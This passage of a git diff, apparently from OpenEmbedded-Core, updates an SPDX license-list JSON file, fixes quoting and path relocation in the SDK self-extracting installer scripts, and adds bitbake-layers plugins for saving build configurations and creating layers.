+ "licenseId": "CC-BY-SA-2.0-UK",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.0/uk/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Saxpath.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Saxpath.json",
+ "referenceNumber": 437,
+ "name": "Saxpath License",
+ "licenseId": "Saxpath",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Saxpath_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NLPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NLPL.json",
+ "referenceNumber": 438,
+ "name": "No Limit Public License",
+ "licenseId": "NLPL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/NLPL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SimPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SimPL-2.0.json",
+ "referenceNumber": 439,
+ "name": "Simple Public License 2.0",
+ "licenseId": "SimPL-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/SimPL-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/psfrag.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/psfrag.json",
+ "referenceNumber": 440,
+ "name": "psfrag License",
+ "licenseId": "psfrag",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/psfrag"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Spencer-86.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Spencer-86.json",
+ "referenceNumber": 441,
+ "name": "Spencer License 86",
+ "licenseId": "Spencer-86",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Henry_Spencer_Reg-Ex_Library_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OCCT-PL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OCCT-PL.json",
+ "referenceNumber": 442,
+ "name": "Open CASCADE Technology Public License",
+ "licenseId": "OCCT-PL",
+ "seeAlso": [
+ "http://www.opencascade.com/content/occt-public-license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-S-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-S-2.0.json",
+ "referenceNumber": 443,
+ "name": "CERN Open Hardware Licence Version 2 - Strongly Reciprocal",
+ "licenseId": "CERN-OHL-S-2.0",
+ "seeAlso": [
+ "https://www.ohwr.org/project/cernohl/wikis/Documents/CERN-OHL-version-2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ErlPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ErlPL-1.1.json",
+ "referenceNumber": 444,
+ "name": "Erlang Public License v1.1",
+ "licenseId": "ErlPL-1.1",
+ "seeAlso": [
+ "http://www.erlang.org/EPLICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-CMU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-CMU.json",
+ "referenceNumber": 445,
+ "name": "CMU License",
+ "licenseId": "MIT-CMU",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:MIT?rd\u003dLicensing/MIT#CMU_Style",
+ "https://github.com/python-pillow/Pillow/blob/fffb426092c8db24a5f4b6df243a8a3c01fb63cd/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NIST-PD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NIST-PD.json",
+ "referenceNumber": 446,
+ "name": "NIST Public Domain Notice",
+ "licenseId": "NIST-PD",
+ "seeAlso": [
+ "https://github.com/tcheneau/simpleRPL/blob/e645e69e38dd4e3ccfeceb2db8cba05b7c2e0cd3/LICENSE.txt",
+ "https://github.com/tcheneau/Routing/blob/f09f46fcfe636107f22f2c98348188a65a135d98/README.md"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-2.0.json",
+ "referenceNumber": 447,
+ "name": "Open Software License 2.0",
+ "licenseId": "OSL-2.0",
+ "seeAlso": [
+ "http://web.archive.org/web/20041020171434/http://www.rosenlaw.com/osl2.0.html"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-2.0.json",
+ "referenceNumber": 448,
+ "name": "Apple Public Source License 2.0",
+ "licenseId": "APSL-2.0",
+ "seeAlso": [
+ "http://www.opensource.apple.com/license/apsl/"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Leptonica.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Leptonica.json",
+ "referenceNumber": 449,
+ "name": "Leptonica License",
+ "licenseId": "Leptonica",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Leptonica"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PolyForm-Small-Business-1.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PolyForm-Small-Business-1.0.0.json",
+ "referenceNumber": 450,
+ "name": "PolyForm Small Business License 1.0.0",
+ "licenseId": "PolyForm-Small-Business-1.0.0",
+ "seeAlso": [
+ "https://polyformproject.org/licenses/small-business/1.0.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LiLiQ-P-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LiLiQ-P-1.1.json",
+ "referenceNumber": 451,
+ "name": "Licence Libre du Québec – Permissive version 1.1",
+ "licenseId": "LiLiQ-P-1.1",
+ "seeAlso": [
+ "https://forge.gouv.qc.ca/licence/fr/liliq-v1-1/",
+ "http://opensource.org/licenses/LiLiQ-P-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NetCDF.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NetCDF.json",
+ "referenceNumber": 452,
+ "name": "NetCDF license",
+ "licenseId": "NetCDF",
+ "seeAlso": [
+ "http://www.unidata.ucar.edu/software/netcdf/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OML.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OML.json",
+ "referenceNumber": 453,
+ "name": "Open Market License",
+ "licenseId": "OML",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Open_Market_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-3.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-3.0-or-later.json",
+ "referenceNumber": 454,
+ "name": "GNU Affero General Public License v3.0 or later",
+ "licenseId": "AGPL-3.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/agpl.txt",
+ "https://opensource.org/licenses/AGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.2.json",
+ "referenceNumber": 455,
+ "name": "Open LDAP Public License v2.2",
+ "licenseId": "OLDAP-2.2",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d470b0c18ec67621c85881b2733057fecf4a1acc3"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause.json",
+ "referenceNumber": 456,
+ "name": "BSD 3-Clause \"New\" or \"Revised\" License",
+ "licenseId": "BSD-3-Clause",
+ "seeAlso": [
+ "https://opensource.org/licenses/BSD-3-Clause"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/WTFPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/WTFPL.json",
+ "referenceNumber": 457,
+ "name": "Do What The F*ck You Want To Public License",
+ "licenseId": "WTFPL",
+ "seeAlso": [
+ "http://www.wtfpl.net/about/",
+ "http://sam.zoy.org/wtfpl/COPYING"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-UK-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-UK-2.0.json",
+ "referenceNumber": 458,
+ "name": "Open Government Licence v2.0",
+ "licenseId": "OGL-UK-2.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/open-government-licence/version/2/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Attribution.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Attribution.json",
+ "referenceNumber": 459,
+ "name": "BSD with attribution",
+ "licenseId": "BSD-3-Clause-Attribution",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/BSD_with_Attribution"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RPSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RPSL-1.0.json",
+ "referenceNumber": 460,
+ "name": "RealNetworks Public Source License v1.0",
+ "licenseId": "RPSL-1.0",
+ "seeAlso": [
+ "https://helixcommunity.org/content/rpsl",
+ "https://opensource.org/licenses/RPSL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-DE.json",
+ "referenceNumber": 461,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 3.0 Germany",
+ "licenseId": "CC-BY-NC-ND-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUPL-1.1.json",
+ "referenceNumber": 462,
+ "name": "European Union Public License 1.1",
+ "licenseId": "EUPL-1.1",
+ "seeAlso": [
+ "https://joinup.ec.europa.eu/software/page/eupl/licence-eupl",
+ "https://joinup.ec.europa.eu/sites/default/files/custom-page/attachment/eupl1.1.-licence-en_0.pdf",
+ "https://opensource.org/licenses/EUPL-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Sendmail-8.23.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Sendmail-8.23.json",
+ "referenceNumber": 463,
+ "name": "Sendmail License 8.23",
+ "licenseId": "Sendmail-8.23",
+ "seeAlso": [
+ "https://www.proofpoint.com/sites/default/files/sendmail-license.pdf",
+ "https://web.archive.org/web/20181003101040/https://www.proofpoint.com/sites/default/files/sendmail-license.pdf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ODC-By-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ODC-By-1.0.json",
+ "referenceNumber": 464,
+ "name": "Open Data Commons Attribution License v1.0",
+ "licenseId": "ODC-By-1.0",
+ "seeAlso": [
+ "https://opendatacommons.org/licenses/by/1.0/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/D-FSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/D-FSL-1.0.json",
+ "referenceNumber": 465,
+ "name": "Deutsche Freie Software Lizenz",
+ "licenseId": "D-FSL-1.0",
+ "seeAlso": [
+ "http://www.dipp.nrw.de/d-fsl/lizenzen/",
+ "http://www.dipp.nrw.de/d-fsl/index_html/lizenzen/de/D-FSL-1_0_de.txt",
+ "http://www.dipp.nrw.de/d-fsl/index_html/lizenzen/en/D-FSL-1_0_en.txt",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/deutsche-freie-software-lizenz",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/german-free-software-license",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/D-FSL-1_0_de.txt/at_download/file",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/D-FSL-1_0_en.txt/at_download/file"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-4-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-4-Clause.json",
+ "referenceNumber": 466,
+ "name": "BSD 4-Clause \"Original\" or \"Old\" License",
+ "licenseId": "BSD-4-Clause",
+ "seeAlso": [
+ "http://directory.fsf.org/wiki/License:BSD_4Clause"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1.json",
+ "referenceNumber": 467,
+ "name": "GNU Lesser General Public License v2.1 only",
+ "licenseId": "LGPL-2.1",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-Views.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-Views.json",
+ "referenceNumber": 468,
+ "name": "BSD 2-Clause with views sentence",
+ "licenseId": "BSD-2-Clause-Views",
+ "seeAlso": [
+ "http://www.freebsd.org/copyright/freebsd-license.html",
+ "https://people.freebsd.org/~ivoras/wine/patch-wine-nvidia.sh",
+ "https://github.com/protegeproject/protege/blob/master/license.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-1.0-Perl.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-1.0-Perl.json",
+ "referenceNumber": 469,
+ "name": "Artistic License 1.0 (Perl)",
+ "licenseId": "Artistic-1.0-Perl",
+ "seeAlso": [
+ "http://dev.perl.org/licenses/artistic.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NPOSL-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NPOSL-3.0.json",
+ "referenceNumber": 470,
+ "name": "Non-Profit Open Software License 3.0",
+ "licenseId": "NPOSL-3.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/NOSL3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/gSOAP-1.3b.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/gSOAP-1.3b.json",
+ "referenceNumber": 471,
+ "name": "gSOAP Public License v1.3b",
+ "licenseId": "gSOAP-1.3b",
+ "seeAlso": [
+ "http://www.cs.fsu.edu/~engelen/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Interbase-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Interbase-1.0.json",
+ "referenceNumber": 472,
+ "name": "Interbase Public License v1.0",
+ "licenseId": "Interbase-1.0",
+ "seeAlso": [
+ "https://web.archive.org/web/20060319014854/http://info.borland.com/devsupport/interbase/opensource/IPL.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/StandardML-NJ.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/StandardML-NJ.json",
+ "referenceNumber": 473,
+ "name": "Standard ML of New Jersey License",
+ "licenseId": "StandardML-NJ",
+ "seeAlso": [
+ "http://www.smlnj.org//license.html"
+ ],
+ "isOsiApproved": false
+ }
+ ],
+ "releaseDate": "2021-08-08"
+} \ No newline at end of file
diff --git a/meta/files/toolchain-shar-extract.sh b/meta/files/toolchain-shar-extract.sh
index 04527f891f..4386b985bb 100644
--- a/meta/files/toolchain-shar-extract.sh
+++ b/meta/files/toolchain-shar-extract.sh
@@ -26,7 +26,7 @@ tweakpath /sbin
INST_ARCH=$(uname -m | sed -e "s/i[3-6]86/ix86/" -e "s/x86[-_]64/x86_64/")
SDK_ARCH=$(echo @SDK_ARCH@ | sed -e "s/i[3-6]86/ix86/" -e "s/x86[-_]64/x86_64/")
-INST_GCC_VER=$(gcc --version | sed -ne 's/.* \([0-9]\+\.[0-9]\+\)\.[0-9]\+.*/\1/p')
+INST_GCC_VER=$(gcc --version 2>/dev/null | sed -ne 's/.* \([0-9]\+\.[0-9]\+\)\.[0-9]\+.*/\1/p')
SDK_GCC_VER='@SDK_GCC_VER@'
verlte () {
@@ -56,7 +56,8 @@ if ! xz -V > /dev/null 2>&1; then
exit 1
fi
-DEFAULT_INSTALL_DIR="@SDKPATH@"
+SDK_BUILD_PATH="@SDKPATH@"
+DEFAULT_INSTALL_DIR="@SDKPATHINSTALL@"
SUDO_EXEC=""
EXTRA_TAR_OPTIONS=""
target_sdk_dir=""
@@ -95,7 +96,7 @@ while getopts ":yd:npDRSl" OPT; do
listcontents=1
;;
*)
- echo "Usage: $(basename $0) [-y] [-d <dir>]"
+ echo "Usage: $(basename "$0") [-y] [-d <dir>]"
echo " -y Automatic yes to all prompts"
echo " -d <dir> Install the SDK to <dir>"
echo "======== Extensible SDK only options ============"
@@ -111,17 +112,17 @@ while getopts ":yd:npDRSl" OPT; do
esac
done
-payload_offset=$(($(grep -na -m1 "^MARKER:$" $0|cut -d':' -f1) + 1))
+payload_offset=$(($(grep -na -m1 "^MARKER:$" "$0"|cut -d':' -f1) + 1))
if [ "$listcontents" = "1" ] ; then
if [ @SDK_ARCHIVE_TYPE@ = "zip" ]; then
- tail -n +$payload_offset $0 > sdk.zip
+ tail -n +$payload_offset "$0" > sdk.zip
if unzip -l sdk.zip;then
rm sdk.zip
else
rm sdk.zip && exit 1
fi
else
- tail -n +$payload_offset $0| tar tvJ || exit 1
+ tail -n +$payload_offset "$0"| tar tvJ || exit 1
fi
exit
fi
@@ -242,14 +243,14 @@ fi
printf "Extracting SDK..."
if [ @SDK_ARCHIVE_TYPE@ = "zip" ]; then
- tail -n +$payload_offset $0 > sdk.zip
+ tail -n +$payload_offset "$0" > sdk.zip
if $SUDO_EXEC unzip $EXTRA_TAR_OPTIONS sdk.zip -d $target_sdk_dir;then
rm sdk.zip
else
rm sdk.zip && exit 1
fi
else
- tail -n +$payload_offset $0| $SUDO_EXEC tar mxJ -C $target_sdk_dir --checkpoint=.2500 $EXTRA_TAR_OPTIONS || exit 1
+ tail -n +$payload_offset "$0"| $SUDO_EXEC tar mxJ -C $target_sdk_dir --checkpoint=.2500 $EXTRA_TAR_OPTIONS || exit 1
fi
echo "done"
diff --git a/meta/files/toolchain-shar-relocate.sh b/meta/files/toolchain-shar-relocate.sh
index e3c10018ef..b017714df0 100644
--- a/meta/files/toolchain-shar-relocate.sh
+++ b/meta/files/toolchain-shar-relocate.sh
@@ -1,11 +1,14 @@
-if ! xargs --version > /dev/null 2>&1; then
- echo "xargs is required by the relocation script, please install it first. Abort!"
- exit 1
-fi
+for cmd in xargs file; do
+ if ! command -v $cmd > /dev/null 2>&1; then
+ echo "The command '$cmd' is required by the relocation script, please install it first. Abort!"
+ exit 1
+ fi
+done
# fix dynamic loader paths in all ELF SDK binaries
+# allow symlinks to be accessed via the find command too
native_sysroot=$($SUDO_EXEC cat $env_setup_script |grep 'OECORE_NATIVE_SYSROOT='|cut -d'=' -f2|tr -d '"')
-dl_path=$($SUDO_EXEC find $native_sysroot/lib -name "ld-linux*")
+dl_path=$($SUDO_EXEC find $native_sysroot/lib/ -maxdepth 1 -name "ld-linux*")
if [ "$dl_path" = "" ] ; then
echo "SDK could not be set up. Relocate script unable to find ld-linux.so. Abort!"
exit 1
@@ -55,10 +58,13 @@ fi
for replace in "$target_sdk_dir -maxdepth 1" "$native_sysroot"; do
$SUDO_EXEC find $replace -type f
done | xargs -n100 file | grep ":.*\(ASCII\|script\|source\).*text" | \
- awk -F':' '{printf "\"%s\"\n", $1}' | \
- grep -Ev "$target_sdk_dir/(environment-setup-*|relocate_sdk*|${0##*/})" | \
+ awk -F': ' '{printf "\"%s\"\n", $1}' | \
+ grep -Fv -e "$target_sdk_dir/environment-setup-" \
+ -e "$target_sdk_dir/relocate_sdk" \
+ -e "$target_sdk_dir/post-relocate-setup" \
+ -e "$target_sdk_dir/${0##*/}" | \
xargs -n100 $SUDO_EXEC sed -i \
- -e "s:$DEFAULT_INSTALL_DIR:$target_sdk_dir:g" \
+ -e "s:$SDK_BUILD_PATH:$target_sdk_dir:g" \
-e "s:^#! */usr/bin/perl.*:#! /usr/bin/env perl:g" \
-e "s: /usr/bin/perl: /usr/bin/env perl:g"
@@ -69,7 +75,7 @@ fi
# change all symlinks pointing to @SDKPATH@
for l in $($SUDO_EXEC find $native_sysroot -type l); do
- $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e "s:$DEFAULT_INSTALL_DIR:$target_sdk_dir:") $l
+ $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e "s:$SDK_BUILD_PATH:$target_sdk_dir:") $l
if [ $? -ne 0 ]; then
echo "Failed to setup symlinks. Relocate script failed. Abort!"
exit 1
diff --git a/meta/lib/bblayers/buildconf.py b/meta/lib/bblayers/buildconf.py
new file mode 100644
index 0000000000..722cf0723c
--- /dev/null
+++ b/meta/lib/bblayers/buildconf.py
@@ -0,0 +1,84 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import logging
+import os
+import sys
+
+from bblayers.common import LayerPlugin
+
+logger = logging.getLogger('bitbake-layers')
+
+sys.path.insert(0, os.path.dirname(os.path.dirname(__file__)))
+
+import oe.buildcfg
+
+def plugin_init(plugins):
+ return BuildConfPlugin()
+
+class BuildConfPlugin(LayerPlugin):
+ notes_fixme = """FIXME: Please place here the detailed instructions for using this build configuration.
+They will be shown to the users when they set up their builds via TEMPLATECONF.
+"""
+ summary_fixme = """FIXME: Please place here the short summary of what this build configuration is for.
+It will be shown to the users when they set up their builds via TEMPLATECONF.
+"""
+
+ def _save_conf(self, templatename, templatepath, oecorepath, relpaths_to_oecore):
+ confdir = os.path.join(os.environ["BBPATH"], "conf")
+ destdir = os.path.join(templatepath, "conf", "templates", templatename)
+ os.makedirs(destdir, exist_ok=True)
+
+ with open(os.path.join(confdir, "local.conf")) as src:
+ with open(os.path.join(destdir, "local.conf.sample"), 'w') as dest:
+ dest.write(src.read())
+
+ with open(os.path.join(confdir, "bblayers.conf")) as src:
+ with open(os.path.join(destdir, "bblayers.conf.sample"), 'w') as dest:
+ bblayers_data = src.read()
+
+ for (abspath, relpath) in relpaths_to_oecore:
+ bblayers_data = bblayers_data.replace(abspath, "##OEROOT##/" + relpath)
+ dest.write(bblayers_data)
+
+ with open(os.path.join(destdir, "conf-summary.txt"), 'w') as dest:
+ dest.write(self.summary_fixme)
+ with open(os.path.join(destdir, "conf-notes.txt"), 'w') as dest:
+ dest.write(self.notes_fixme)
+
+ logger.info("""Configuration template placed into {}
+Please review the files in there, and particularly provide a configuration summary in {}
+and notes in {}
+You can try out the configuration with
+TEMPLATECONF={} . {}/oe-init-build-env build-try-{}"""
+.format(destdir, os.path.join(destdir, "conf-summary.txt"), os.path.join(destdir, "conf-notes.txt"), destdir, oecorepath, templatename))
+
+ def do_save_build_conf(self, args):
+ """ Save the currently active build configuration (conf/local.conf, conf/bblayers.conf) as a template into a layer.\n This template can later be used for setting up builds via TEMPLATECONF. """
+ layers = oe.buildcfg.get_layer_revisions(self.tinfoil.config_data)
+ targetlayer = None
+ oecore = None
+
+ for l in layers:
+ if os.path.abspath(l[0]) == os.path.abspath(args.layerpath):
+ targetlayer = l[0]
+ if l[1] == 'meta':
+ oecore = os.path.dirname(l[0])
+
+ if not targetlayer:
+ logger.error("Layer {} not in one of the currently enabled layers:\n{}".format(args.layerpath, "\n".join([l[0] for l in layers])))
+ elif not oecore:
+ logger.error("Openembedded-core not in one of the currently enabled layers:\n{}".format("\n".join([l[0] for l in layers])))
+ else:
+ relpaths_to_oecore = [(l[0], os.path.relpath(l[0], start=oecore)) for l in layers]
+ self._save_conf(args.templatename, targetlayer, oecore, relpaths_to_oecore)
+
+ def register_commands(self, sp):
+ parser_build_conf = self.add_command(sp, 'save-build-conf', self.do_save_build_conf, parserecipes=False)
+ parser_build_conf.add_argument('layerpath',
+ help='The path to the layer where the configuration template should be saved.')
+ parser_build_conf.add_argument('templatename',
+ help='The name of the configuration template.')
diff --git a/meta/lib/bblayers/create.py b/meta/lib/bblayers/create.py
index 542f31fc81..517554c587 100644
--- a/meta/lib/bblayers/create.py
+++ b/meta/lib/bblayers/create.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -10,6 +12,7 @@ import shutil
import bb.utils
from bblayers.common import LayerPlugin
+from bblayers.action import ActionPlugin
logger = logging.getLogger('bitbake-layers')
@@ -35,6 +38,7 @@ class CreatePlugin(LayerPlugin):
bb.utils.mkdirhier(conf)
layername = os.path.basename(os.path.normpath(args.layerdir))
+ layerid = args.layerid if args.layerid is not None else layername
# Create the README from templates/README
readme_template = read_template('README').format(layername=layername)
@@ -50,11 +54,11 @@ class CreatePlugin(LayerPlugin):
shutil.copy(license_src, license_dst)
# Get the compat value for core layer.
- compat = self.tinfoil.config_data.getVar('LAYERSERIES_COMPAT_core') or ""
+ compat = self.tinfoil.config_data.getVar('LAYERSERIES_CORENAMES') or ""
# Create the layer.conf from templates/layer.conf
layerconf_template = read_template('layer.conf').format(
- layername=layername, priority=args.priority, compat=compat)
+ layerid=layerid, priority=args.priority, compat=compat)
layerconf = os.path.join(conf, 'layer.conf')
with open(layerconf, 'w') as fd:
fd.write(layerconf_template)
@@ -66,12 +70,21 @@ class CreatePlugin(LayerPlugin):
with open(os.path.join(example, args.examplerecipe + '_%s.bb') % args.version, 'w') as fd:
fd.write(example_template)
- logger.plain('Add your new layer with \'bitbake-layers add-layer %s\'' % args.layerdir)
+ if args.add_layer:
+ # Add the layer to bblayers.conf
+ args.layerdir = [layerdir]
+ ActionPlugin.do_add_layer(self, args)
+ logger.plain('Layer added %s' % args.layerdir)
+
+ else:
+ logger.plain('Add your new layer with \'bitbake-layers add-layer %s\'' % args.layerdir)
def register_commands(self, sp):
parser_create_layer = self.add_command(sp, 'create-layer', self.do_create_layer, parserecipes=False)
parser_create_layer.add_argument('layerdir', help='Layer directory to create')
- parser_create_layer.add_argument('--priority', '-p', default=6, help='Layer directory to create')
+ parser_create_layer.add_argument('--add-layer', '-a', action='store_true', help='Add the layer to bblayers.conf after creation')
+ parser_create_layer.add_argument('--layerid', '-i', help='Layer id to use if different from layername')
+ parser_create_layer.add_argument('--priority', '-p', default=6, help='Priority of recipes in layer')
parser_create_layer.add_argument('--example-recipe-name', '-e', dest='examplerecipe', default='example', help='Filename of the example recipe')
parser_create_layer.add_argument('--example-recipe-version', '-v', dest='version', default='0.1', help='Version number for the example recipe')
diff --git a/meta/lib/bblayers/makesetup.py b/meta/lib/bblayers/makesetup.py
new file mode 100644
index 0000000000..99d5973760
--- /dev/null
+++ b/meta/lib/bblayers/makesetup.py
@@ -0,0 +1,102 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import logging
+import os
+import sys
+
+import bb.utils
+
+from bblayers.common import LayerPlugin
+
+logger = logging.getLogger('bitbake-layers')
+
+sys.path.insert(0, os.path.dirname(os.path.dirname(__file__)))
+
+import oe.buildcfg
+
+def plugin_init(plugins):
+ return MakeSetupPlugin()
+
+class MakeSetupPlugin(LayerPlugin):
+
+ def _get_remotes_with_url(self, repo_path):
+ remotes = {}
+ for r in oe.buildcfg.get_metadata_git_remotes(repo_path):
